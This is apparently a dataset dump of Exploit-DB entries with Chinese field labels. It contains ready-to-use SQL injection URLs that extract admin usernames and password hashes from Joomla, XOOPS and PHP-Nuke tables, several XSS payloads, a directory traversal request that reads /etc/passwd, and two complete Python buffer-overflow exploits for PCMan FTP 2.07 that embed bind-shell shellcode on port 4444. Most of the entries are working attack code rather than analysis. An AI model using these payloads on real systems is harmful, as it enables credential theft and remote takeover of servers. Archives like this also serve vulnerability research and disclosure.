QLWD/code_shield huggingface dataset:
标题: Galore Simple Shop 3.1 - 'section' SQL Injection EDB-ID: 31296 CVE: 2008-7033 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27977/info

Simple Shop component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_simpleshop&Itemid=S@BUN&cmd=section&section=-000/**/union+select/**/000,111,222,concat(username,0x3a,password),0,concat(usernam
e,0x3a,password)/**/from/**/jos_users/* URL: https://www.exploit-db.com/exploits/31296
标题: Packeteer PacketShaper and PolicyCenter 8.2.2 - 'FILELIST' Cross-Site Scripting EDB-ID: 31298 CVE: 2008-1037 类型: REMOTE 平台: HARDWARE 发布日期: 2008-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27982/info

Packeteer PacketShaper and PolicyCenter are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

https://www.example.com/whatever.htm?FILELIST=%3C/script%3E%3Cbody+onLoad=alert(%26quot%3BXSS%26quot%3B)%3E%3Cscript%3E URL: https://www.exploit-db.com/exploits/31298
标题: Zilab Chat and Instant Messaging (ZIM) 2.0/2.1 Server - Multiple Vulnerabilities EDB-ID: 31285 CVE: 2008-5280 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27940/info

Zilab Chat and Instant Messaging (ZIM) Server is prone to multiple vulnerabilities, including denial-of-service issues and memory-corruption issues.

A successful exploit may allow remote attackers to execute arbitrary code in the context of the affected software and/or cause denial-of-service conditions.

These issues affect ZIM Server 2.0 and 2.1; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31285.zip URL: https://www.exploit-db.com/exploits/31285
标题: XOOPS 'prayerlist' Module - 'cid' SQL Injection EDB-ID: 31284 CVE: 2008-0936 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27934/info

XOOPS 'prayerlist' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules/prayerlist/index.php?pa=view&cid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass)/**/from/**/xoops_users/* URL: https://www.exploit-db.com/exploits/31284
标题: PHP-Nuke Downloads Module - 'sid' SQL Injection EDB-ID: 31283 CVE: 2004-2000 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27932/info

The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,aid/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202
http://www.example.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/3333,pwd/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201%200%202 URL: https://www.exploit-db.com/exploits/31283
标题: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'GradebookStuScores.asp?GrdBk' SQL Injection EDB-ID: 31278 CVE: 2008-0942 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27924/info
   
Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected.

http://www.example.com/GradebookStuScores.asp?GrdBk=SQL URL: https://www.exploit-db.com/exploits/31278
标题: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'Labels.asp?Term' SQL Injection EDB-ID: 31276 CVE: 2008-0943 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27924/info
 
Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected.
 
http://www.example.com/Labels.asp?&Term=SQL URL: https://www.exploit-db.com/exploits/31276
标题: XOOPS Tiny Event 1.01 - 'print' Option SQL Injection EDB-ID: 31282 CVE: 2008-0937 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27931/info

Tiny Event is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Tiny Event 1.01; other versions may also be vulnerable. 

http://www.example.com/modules/tinyevent/index.php?op=print&id=-0/**/union/**/select+0x3a,0x3a,0x3a,uname,pass+from/**/xoops_users/*where%20admin%201%200%2066 URL: https://www.exploit-db.com/exploits/31282
标题: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'ClassList.asp?Term' SQL Injection EDB-ID: 31277 CVE: 2008-0943 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27924/info
  
Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected.
 
http://www.example.com/ClassList.asp&Term=SQL URL: https://www.exploit-db.com/exploits/31277
标题: PHP-Nuke Recipe Module 1.3 - 'recipeid' SQL Injection EDB-ID: 31287 CVE: 2008-7226 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/27955/info

The Recipe module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Recipe 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/modules.php?name=Recipe&recipeid=-000/**/union+select+0,pwd,0,0x3a,0x3a,0,aid,aid,pwd,0,0,0,0,0x3a,0,0/**/from/**/nuke_authors/* URL: https://www.exploit-db.com/exploits/31287
标题: Eagle Software Aeries Student Information System 3.7.2.2/3.8.2.8 - 'Comments.asp?FC' SQL Injection EDB-ID: 31275 CVE: 2008-0943 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/27924/info

Aeries Student Information System is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and an HTML-injection issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect Aeries Student Information System 3.8.2.8 and 3.7.2.2; other versions may also be affected. 


http://www.example.com/Comments.asp?&FC=SQL URL: https://www.exploit-db.com/exploits/31275
标题: Spyce 2.1.3 - '/docs/examples/redirect.spy' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31265 CVE: 2008-0980 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27898/info

Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.

The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal URL: https://www.exploit-db.com/exploits/31265
标题: Spyce 2.1.3 - '/spyce/examples/formtag.spy' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31269 CVE: 2008-0980 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27898/info
    
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
    
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=&lt;/textarea&gt;<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/31269
标题: Sybase MobiLink 10.0.1.3629 - Multiple Heap Buffer Overflow Vulnerabilities EDB-ID: 31271 CVE: 2008-0912 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/27914/info

Sybase MobiLink is prone to multiple heap-based buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied data.

A successful exploit will allow remote attackers to execute arbitrary code in the context of the affected software. Failed exploit attempts will likely result in denial-of-service conditions.

These issues affect MobiLink 10.0.1.3629; prior versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31271.zip URL: https://www.exploit-db.com/exploits/31271
标题: ManageEngine Support Center Plus 7916 - Directory Traversal EDB-ID: 31262 CVE: 2014-100002 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-29 漏洞利用脚本: -----------
Author:
-----------

xistence < xistence[at]0x90[.]nl >

-------------------------
Affected products:
-------------------------

ManageEngine Support Center Plus 7916 and lower

-------------------------
Affected vendors:
-------------------------

ManageEngine
http://www.manageengine.com/

-------------------------
Product description:
-------------------------

SupportCenter Plus is a web-based customer support software that lets
organizations effectively manage customer tickets,
their account & contact information, the service contracts and in the
process providing a superior customer experience.

----------
Details:
----------

[ 0x01 - Directory Traversal ]

Support Center Plus 7916 and lower is prone to a directory traversal
vulnerability. When creating a ticket and attaching
a file, this can be tampered to link to a local file on the server side.
By downloading the attachment from the ticket, the server file is
downloaded with the same privileges as the
Support Center Plus instance, which on windows is SYSTEM. On linux Support
Center Plus is mostly installed as the root user.

POST parameters when submitting a ticket to the /WorkOrder.do url and
attaching the server /etc/passwd:

category=&MOD_IND=WorkOrder&attachments=passwd&subCategory=0&addWO=addWO&title=pwned&attPath=
&component=Request&reqTemplate=&reqName=Guest&priority=2&item=0&reqID=2&attSize=31337&autoCCList=
&FORMNAME=WorkOrderForm&usertypename=Requester
&attach=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&prodId=0&description=pwned


-----------
Solution:
-----------

Upgrade to a build higher than 7916.

--------------
Timeline:
--------------

Fixed somewhere back in 2013 :) URL: https://www.exploit-db.com/exploits/31262
标题: Spyce 2.1.3 - 'spyce/examples/request.spy?name' Cross-Site Scripting EDB-ID: 31267 CVE: 2008-0980 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27898/info
  
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
  
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> URL: https://www.exploit-db.com/exploits/31267
标题: Spyce 2.1.3 - 'docs/examples/handlervalidate.spy?x' Cross-Site Scripting EDB-ID: 31266 CVE: 2008-0980 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27898/info
 
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
 
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> URL: https://www.exploit-db.com/exploits/31266
标题: Spyce 2.1.3 - spyce/examples/automaton.spy Direct Request Error Message Information Disclosure EDB-ID: 31270 CVE: 2008-0982 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27898/info
     
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
     
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

Requesting the following URL returns the server's webroot:
http://www.example.com/spyce/examples/automaton.spy URL: https://www.exploit-db.com/exploits/31270
标题: Spyce 2.1.3 - 'spyce/examples/getpost.spy?Name' Cross-Site Scripting EDB-ID: 31268 CVE: 2008-0980 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27898/info
   
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
   
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> URL: https://www.exploit-db.com/exploits/31268
标题: PCMan FTP Server 2.07 - 'CWD' Remote Buffer Overflow EDB-ID: 31255 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2014-01-29 漏洞利用脚本: # Exploit Title: PCMAN FTP 2.07 CWD Command Buffer Overflow
# Date: Jan 25,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: m.dofo123@gmail.com
import socket as s
from sys import argv
#
if(len(argv) != 4):
    print "USAGE: %s host <user> <password>" % argv[0]
    exit(1)
else:
    #store command line arguments
    script,host,fuser,fpass=argv
    #vars
    junk = '\x41' * 2012 #overwrite function (CWD) with garbage/junk chars
    espaddress = '\x59\x06\xbb\x76' # 76BB0659
    nops = '\x90' * 10
    shellcode = ( # BIND SHELL | PORT 4444
        "\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
        "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
        "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
        "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
        "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
        "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
        "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
        "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
        "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
        "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
        "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
        "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
        "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
        "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
        "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
        "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
        "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
        "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
        "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
        "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
        "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
        "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
        "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
        "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
        "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
    sploit = junk+espaddress+nops+shellcode
    #create socket
    conn = s.socket(s.AF_INET,s.SOCK_STREAM)
    #establish connection to server
    conn.connect((host,21))
    #post ftp user
    conn.send('USER '+fuser+'\r\n')
    #wait for response
    uf = conn.recv(1024)
    #post ftp password
    conn.send('PASS '+fpass+'\r\n')
    #wait for response
    pf = conn.recv(1024)
    #send ftp command with sploit
    conn.send('CWD '+sploit+'\r\n')
    cf = conn.recv(1024)
    #close connection
    conn.close() URL: https://www.exploit-db.com/exploits/31255
标题: PCMan FTP Server 2.07 - 'ABOR' Remote Buffer Overflow EDB-ID: 31254 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2014-01-29 漏洞利用脚本: # Exploit Title: PCMAN FTP 2.07 ABOR Command Buffer Overflow
# Date: Jan 25,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: m.dofo123@gmail.com
import socket as s
from sys import argv
#
if(len(argv) != 4):
    print "USAGE: %s host <user> <password>" % argv[0]
    exit(1)
else:
    #store command line arguments
    script,host,fuser,fpass=argv
    #vars
    junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars
    espaddress = '\x59\x06\xbb\x76' # 76BB0659
    nops = '\x90' * 10
    shellcode = ( # BIND SHELL | PORT 4444
        "\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
        "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
        "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
        "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
        "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
        "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
        "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
        "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
        "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
        "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
        "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
        "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
        "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
        "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
        "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
        "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
        "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
        "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
        "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
        "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
        "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
        "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
        "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
        "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
        "\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
    sploit = junk+espaddress+nops+shellcode
    #create socket
    conn = s.socket(s.AF_INET,s.SOCK_STREAM)
    #establish connection to server
    conn.connect((host,21))
    #post ftp user
    conn.send('USER '+fuser+'\r\n')
    #wait for response
    uf = conn.recv(1024)
    #post ftp password
    conn.send('PASS '+fpass+'\r\n')
    #wait for response
    pf = conn.recv(1024)
    #send ftp command with sploit
    conn.send('ABOR '+sploit+'\r\n')
    cf = conn.recv(1024)
    #close connection
    conn.close() URL: https://www.exploit-db.com/exploits/31254
标题: PHP-Nuke Web_Links Module - 'cid' SQL Injection EDB-ID: 31252 CVE: 2008-0879 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27894/info

The PHP-Nuke Web_Links module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(aid,0x3a,pwd),char(111,112,101,114,110,97,108,101,51)/**/from%2F%2A%2A%2Fnuke_authors/*where%20admin%201=%202 URL: https://www.exploit-db.com/exploits/31252